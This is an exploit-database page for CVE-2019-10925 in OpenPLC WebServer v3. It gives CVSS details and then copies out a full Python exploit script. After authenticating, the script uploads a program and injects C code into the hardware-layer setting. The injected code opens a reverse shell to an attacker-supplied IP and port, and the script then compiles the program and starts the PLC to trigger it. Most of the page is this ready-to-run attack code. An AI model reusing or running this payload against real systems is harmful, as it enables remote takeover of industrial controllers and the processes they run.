OpenPLC WebServer 3 Remote Code Execution
CVE
Category
Price
Severity
CVE-2019-10925
CWE-77
Not specified
Critical
Author
Risk
Exploitation Type
Date
LiquidWorm
High
Remote
2021-05-15
CPE
cpe:cpe:/a:openplc_project:openplc_webserver:3
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required High PR The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021050074 Below is a copy:
OpenPLC WebServer 3 Remote Code Execution # Exploit Title: OpenPLC WebServer v3 - Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 25/04/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://www.openplcproject.com/
# Software Link: https://github.com/thiagoralves/OpenPLC_v3
# Version: OpenPLC v3
# Tested on: Ubuntu 16.04,Debian 9,Debian 10 Buster
# CVE: N/A
#/usr/bin/python3
import requests
import sys
import time
import optparse
import re
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://target-uri:8080)")
parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")
parser.add_option('-p', '--passw', action="store", dest="passw", help="Pass credential to login")
parser.add_option('-i', '--rip', action="store", dest="rip", help="IP for Reverse Connection")
parser.add_option('-r', '--rport', action="store", dest="rport", help="Port for Reverse Connection")
options, args = parser.parse_args()
if not options.url:
print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
print('[+] Specify an url target')
print("[+] Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444")
exit()
host = options.url
login = options.url + '/login'
upload_program = options.url + '/programs'
compile_program = options.url + '/compile-program?file=681871.st'
run_plc_server = options.url + '/start_plc'
user = options.user
password = options.passw
rev_ip = options.rip
rev_port = options.rport
x = requests.Session()
def auth():
print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
time.sleep(1)
print('[+] Checking if host '+host+' is Up...')
host_up = x.get(host)
try:
if host_up.status_code == 200:
print('[+] Host Up! ...')
except:
print('[+] This host seems to be down :( ')
sys.exit(0)
print('[+] Trying to authenticate with credentials '+user+':'+password+'')
time.sleep(1)
submit = {
'username': user,
'password': password
}
x.post(login, data=submit)
response = x.get(upload_program)
if len(response.text) > 30000 and response.status_code == 200:
print('[+] Login success!')
time.sleep(1)
else:
print('[x] Login failed :(')
sys.exit(0)
def injection():
print('[+] PLC program uploading... ')
upload_url = host + "/upload-program"
upload_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvgPw.qwEcF3rMliGcTgQ4zI4RInBZrqE"}
upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------210749863411176965311768214500", "Origin": host, "Connection": "close", "Referer": host + "/programs", "Upgrade-Insecure-Requests": "1"}
upload_data = "-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"file\"; filename=\"program.st\"\r\nContent-Type: application/vnd.sailingtracker.track\r\n\r\nPROGRAM prog0\n VAR\n var_in : BOOL;\n var_out : BOOL;\n END_VAR\n\n var_out := var_in;\nEND_PROGRAM\n\n\nCONFIGURATION Config0\n\n RESOURCE Res0 ON PLC\n TASK Main(INTERVAL := T#50ms,PRIORITY := 0);\n PROGRAM Inst0 WITH Main : prog0;\n END_RESOURCE\nEND_CONFIGURATION\n\r\n-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload Program\r\n-----------------------------210749863411176965311768214500--\r\n"
upload = x.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)
act_url = host + "/upload-program-action"
act_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------374516738927889180582770224000", "Origin": host, "Connection": "close", "Referer": host + "/upload-program", "Upgrade-Insecure-Requests": "1"}
act_data = "-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_name\"\r\n\r\nprogram.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_descr\"\r\n\r\n\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_file\"\r\n\r\n681871.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"epoch_time\"\r\n\r\n1617682656\r\n-----------------------------374516738927889180582770224000--\r\n"
upload_act = x.post(act_url, headers=act_headers, data=act_data)
time.sleep(2)
def connection():
print('[+] Attempt to Code injection...')
inject_url = host + "/hardware"
inject_dash = host + "/dashboard"
inject_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvyFA.2NQ7ZYcNZ74ci2miLkefHCai2Fk"}
inject_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------289530314119386812901408558722", "Origin": host, "Connection": "close", "Referer": host + "/hardware", "Upgrade-Insecure-Requests": "1"}
inject_data = "-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\"hardware_layer\"\r\n\r\nblank_linux\r\n-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\"custom_layer_code\"\r\n\r\n#include \"ladder.h\"\r\n#include <stdio.h>\r\n#include <sys/socket.h>\r\n#include <sys/types.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <netinet/in.h>\r\n#include <arpa/inet.h>\r\n\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nint ignored_bool_inputs[] = {-1};\r\nint ignored_bool_outputs[] = {-1};\r\nint ignored_int_inputs[] = {-1};\r\nint ignored_int_outputs[] = {-1};\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nvoid initCustomLayer()\r\n{\r\n \r\n \r\n \r\n}\r\n\r\n\r\nvoid updateCustomIn()\r\n{\r\n\r\n}\r\n\r\n\r\nvoid updateCustomOut()\r\n{\r\n int port = "+rev_port+";\r\n struct sockaddr_in revsockaddr;\r\n\r\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\r\n revsockaddr.sin_family = AF_INET; \r\n revsockaddr.sin_port = htons(port);\r\n revsockaddr.sin_addr.s_addr = inet_addr(\""+rev_ip+"\");\r\n\r\n connect(sockt, (struct sockaddr *) &revsockaddr, \r\n sizeof(revsockaddr));\r\n dup2(sockt, 0);\r\n dup2(sockt, 1);\r\n dup2(sockt, 2);\r\n\r\n char * const argv[] = {\"/bin/sh\", NULL};\r\n execve(\"/bin/sh\", argv, NULL);\r\n\r\n return 0; \r\n \r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------------------------289530314119386812901408558722--\r\n"
inject = x.post(inject_url, headers=inject_headers, cookies=inject_cookies, data=inject_data)
time.sleep(3)
comp = x.get(compile_program)
time.sleep(6)
x.get(inject_dash)
time.sleep(3)
print('[+] Spawning Reverse Shell...')
start = x.get(run_plc_server)
time.sleep(1)
if start.status_code == 200:
print('[+] Reverse connection receveid!')
sys.exit(0)
else:
print('[+] Failed to receive connection :(')
sys.exit(0)
auth()
injection()
connection()
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